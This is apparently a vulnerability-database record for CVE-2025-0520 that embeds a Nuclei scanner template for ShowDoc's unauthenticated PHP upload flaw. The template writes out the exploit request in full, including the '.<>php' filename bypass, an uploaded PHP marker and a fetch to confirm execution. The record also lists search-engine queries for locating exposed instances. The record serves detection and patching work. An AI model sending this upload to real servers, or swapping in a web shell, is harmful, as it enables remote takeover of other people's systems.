{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-0520/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-0520/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-0520/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-0520/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-0520/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-0520"},"sightings":{"href":"/api/v1/sightings/cve-2025-0520"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-0520.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-0520\n\ninfo:\n  name: ShowDoc - Remote Code Execution\n  author: pikpikcu,Co5mos,PapButfly\n  severity: critical\n  description: |\n    The open-source API documentation tool ShowDoc had a remote code execution vulnerability before version 2.8.7 This vulnerability allowed unauthenticated remote attackers to upload .php files because the image upload function was not authenticated and the file extension validation was improper.\n  impact: |\n    The attacker does not need to go through login authentication to upload any php backdoor on the affected ShowDoc website and thereby gain server access.\n  remediation: |\n    Please update ShowDoc to version 2.8.7 or higher to fix this vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-0520\n    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-26585\n    - https://github.com/star7th/showdoc/pull/1059\n    - https://github.com/vulhub/vulhub/tree/master/showdoc/CNVD-2020-26585\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L\n    cve-id: CVE-2025-0520\n    cwe-id: CWE-434\n    cvss-score: 9.4\n    epss-score: 0.02445\n    epss-percentile: 0.84398\n  metadata:\n    verified: true\n    vendor: star7th\n    product: showdoc\n    shodan-query: http.title:\"ShowDoc\"\n    fofa-query: app=\"ShowDoc\"\n    hunter-query: web.title=\"ShowDoc\"\n    zoomeye-query: app:\"ShowDoc\"\n  tags: showdoc,cve,cve2025,cnvd,cnvd2020,rce,fileupload,intrusive,star7th,vuln,vkev\n\nvariables:\n  boundary_id: \"{{rand_text_alphanumeric(16)}}\"\n  file_name: \"{{rand_text_alphanumeric(4)}}\"\n  secret_str: \"{{rand_base(12)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /index.php?s=/home/page/uploadImg HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary_id}}\n\n        ------WebKitFormBoundary{{boundary_id}}\n        Content-Disposition: form-data; name=\"editormd-image-file\"; filename=\"{{file_name}}.<>php\"\n        Content-Type: text/plain\n\n        <?=md5(\"{{secret_str}}\");?>\n        ------WebKitFormBoundary{{boundary_id}}--\n\n      - |\n        GET {{upload_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: json\n        name: raw_url\n        part: body\n        json:\n          - \".url\"\n        internal: true\n\n      - type: dsl\n        name: upload_path\n        dsl:\n          - 'replace_regex(raw_url, \"^https?://[^/]+\", \"\")'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_1 == 200 && status_code_2 == 200\"\n          - \"contains_all(body_1, 'url', '.php')\"\n          - 'contains(body_1, \"Public/Uploads\") || contains(body_1, \"Public\\\\/Uploads\")'\n          - \"contains(body_2, '{{md5(secret_str)}}')\"\n        condition: and\n# digest: 4b0a004830460221009bb00c872dcb0fdcc697136b3e37c69d16bf2189d6b45d6ab5e41fb99e73bfe4022100d8ddb5b72273b10fa5451b69f1f9aa1caa5e2c3f562ead09aaec7ca5d1461b62:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-0520"}